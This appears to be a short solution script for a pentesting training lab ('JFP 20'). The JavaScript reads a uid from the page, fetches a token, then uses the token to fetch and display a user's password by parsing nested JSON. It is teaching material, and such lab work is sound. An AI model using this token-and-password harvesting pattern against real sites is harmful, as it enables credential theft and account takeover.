JFP 20 Solution [Multi Layer JSON PARSING]

var uid = document.querySelector('a').innerText.split(':')[1];
function getToken(){
    var url = 'http://pentesteracademylab.appspot.com/lab/webapp/jfp/20/gettoken?uid=' + uid;
    var handel = new XMLHttpRequest();
    handel.onreadystatechange = function(){
        if (this.readyState == 4 && this.status == 200){
            var token = JSON.parse(handel.responseText);
            token = token['params']['token'];
            (function(token){
                var subUrl = 'http://pentesteracademylab.appspot.com/lab/webapp/jfp/20/getpassword?token='+token;
                var subHandel = new XMLHttpRequest();
                subHandel.onreadystatechange = function(){
                    if(this.readyState == 4 && this.status == 200){
                        var pass = JSON.parse(subHandel.responseText);
                        document.querySelector('#result').innerText = pass['resp']['password'];
                    }
                }
                subHandel.open('GET',subUrl, true);
                subHandel.send();
            })(token);
        }
    }
    handel.open('GET',url, true);
    handel.send();
}getToken();